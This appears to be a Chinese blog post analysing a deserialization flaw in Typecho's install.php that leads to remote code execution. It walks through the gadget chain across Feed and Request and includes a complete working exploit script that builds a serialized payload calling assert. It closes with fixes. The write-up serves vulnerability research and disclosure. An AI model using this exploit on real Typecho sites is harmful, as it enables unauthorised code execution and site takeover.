1. 程式人生 > >Typecho 反序列化漏洞導致前臺 getshell

Typecho 反序列化漏洞導致前臺 getshell

typecho 反序列化漏洞導致前臺 getshell

前言


最早知道這個漏洞是在一個微信群裏,說是install.php文件裏面有個後門,看到別人給的截圖一看就知道是個PHP反序列化漏洞,趕緊上服務器看了看自己的博客,發現自己也中招了,相關代碼如下:

技術分享



然後果斷在文件第一行加上了die:

<?php die(‘404 Not Found!‘); ?>

今天下午剛好空閑下來,就趕緊拿出來代碼看看。


漏洞分析

先從install.php開始跟,229-235行:

<?php$config = unserialize(base64_decode(Typecho_Cookie::get(‘__typecho_config‘)));
Typecho_Cookie::delete(‘__typecho_config‘);
$db = new Typecho_Db($config[‘adapter‘], $config[‘prefix‘]);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);?>


要讓代碼執行到這裏需要滿足一些條件:

//判斷是否已經安裝if (!isset($_GET[‘finish‘]) && file_exists(__TYPECHO_ROOT_DIR__ . ‘/config.inc.php‘) && empty($_SESSION[‘typecho‘])) {    exit;
}// 擋掉可能的跨站請求if (!empty($_GET) || !empty($_POST)) {    if (empty($_SERVER[‘HTTP_REFERER‘])) {        exit;
    }

    $parts = parse_url($_SERVER[‘HTTP_REFERER‘]);    if (!empty($parts[‘port‘]) && $parts[‘port‘] != 80 && !Typecho_Common::isAppEngine()) {
        $parts[‘host‘] = "{$parts[‘host‘]}:{$parts[‘port‘]}";
    }    if (empty($parts[‘host‘]) || $_SERVER[‘HTTP_HOST‘] != $parts[‘host‘]) {        exit;
    }
}


首先是$_GET[‘finish‘]不為空,其次是referer需要是本站,比較容易實現。


繼續跟反序列化的地方:

$config = unserialize(base64_decode(Typecho_Cookie::get(‘__typecho_config‘)));


首先使用Typecho_Cookieget方法獲取__typecho_configget方法如下:

public static function get($key, $default = NULL){
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);    return is_array($value) ? $default : $value;
}


可以看到給$value賦值這一行,如果$_COOKIE裏面沒有就從$_POST裏面獲取,所以我們測試漏洞的時候直接POST也是可以的,不用每次設置Cookie了。


反序列化漏洞要利用勢必離不開魔術方法,我之前收集了一些和PHP反序列化有關的PHP函數:

__wakeup() //使用unserialize時觸發__sleep() //使用serialize時觸發__destruct() //對象被銷毀時觸發__call() //在對象上下文中調用不可訪問的方法時觸發__callStatic() //在靜態上下文中調用不可訪問的方法時觸發__get() //用於從不可訪問的屬性讀取數據__set() //用於將數據寫入不可訪問的屬性__isset() //在不可訪問的屬性上調用isset()或empty()觸發__unset() //在不可訪問的屬性上使用unset()時觸發__toString() //把類當作字符串使用時觸發__invoke() //當腳本嘗試將對象調用為函數時觸發


下面這一行中,如果我們反序列化構造一個數組,其中adapter設置為一個類,那麽就可以觸發這個類的__toString()方法。


然後我們全局搜索__toString()方法,發現兩個有搞頭的文件:

/var/Typecho/Feed.php
/var/Typecho/Db/Query.php


我這裏跟一下Feed.php,查看Feed.php__toString()方法,其中第290行:

foreach ($this->_items as $item) {
    $content .= ‘<item>‘ . self::EOL;
    $content .= ‘<title>‘ . htmlspecialchars($item[‘title‘]) . ‘</title>‘ . self::EOL;
    $content .= ‘<link>‘ . $item[‘link‘] . ‘</link>‘ . self::EOL;
    $content .= ‘<guid>‘ . $item[‘link‘] . ‘</guid>‘ . self::EOL;
    $content .= ‘<pubDate>‘ . $this->dateFormat($item[‘date‘]) . ‘</pubDate>‘ . self::EOL;
    $content .= ‘<dc:creator>‘ . htmlspecialchars($item[‘author‘]->screenName) . ‘</dc:creator>‘ . self::EOL;    //省略........}


其中調用了$item[‘author‘]->screenName$item$this->_items的foreach循環出來的,並且$this->_itemsTypecho_Feed類的一個private屬性。

我們可以利用這個$item來調用某個類的__get()方法,上面說過__get()方法是用於從不可訪問的屬性讀取數據,實際執行中這裏會獲取該類的screenName屬性,如果我們給$item[‘author‘]設置的類中沒有screenName就會執行該類的__get()方法,我們繼續來全局搜索一下__get()方法。


發現/var/Typecho/Request.php中的__get()方法如下:

public function __get($key){    return $this->get($key);
}


跟進$this->get()方法如下:

public function get($key, $default = NULL){    switch (true) {        case isset($this->_params[$key]):
            $value = $this->_params[$key];            break;        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];            break;        default:
            $value = $default;            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;    return $this->_applyFilter($value);
}


這裏沒什麽問題,但最後一行:

return $this->_applyFilter($value);


跟進一下發現:

private function _applyFilter($value){    if ($this->_filter) {        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }    return $value;
}


這個foreach裏面判斷如果$value是數組就執行array_map否則調用call_user_func,這倆函數都是執行代碼的關鍵方法。而這裏$filter$value我們幾乎都是可以間接控制的,所以就可以利用call_user_func或者array_map來執行代碼,比如我們設置$filter為數組,第一個數組鍵值是assert$value設置php代碼,即可執行。


然後我們來完成Exploit如下:

<?phpclass Typecho_Feed{    const RSS1 = ‘RSS 1.0‘;    const RSS2 = ‘RSS 2.0‘;    const ATOM1 = ‘ATOM 1.0‘;    const DATE_RFC822 = ‘r‘;    const DATE_W3CDTF = ‘c‘;    const EOL = "\n";    private $_type;    private $_items;    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(            ‘title‘ => ‘1‘,            ‘link‘ => ‘1‘,            ‘date‘ => 1508895132,            ‘category‘ => array(new Typecho_Request()),            ‘author‘ => new Typecho_Request(),
        );
    }
}class Typecho_Request{    private $_params = array();    private $_filter = array();    public function __construct(){
        $this->_params[‘screenName‘] = ‘phpinfo()‘;
        $this->_filter[0] = ‘assert‘;
    }
}

$exp = array(    ‘adapter‘ => new Typecho_Feed(),    ‘prefix‘ => ‘typecho_‘);echo base64_encode(serialize($exp));


然後運行該php,使用輸出的payload訪問:

技術分享



至此該漏洞復現成功。

修復方法

  • 官方今天發布了1.1Beta版本修復了該漏洞,升級該版本,鏈接:http://typecho.org/archives/133/


  • 也可以刪除掉install.php和install目錄。


本文出自 “李世龍” 博客,謝絕轉載!

Typecho 反序列化漏洞導致前臺 getshell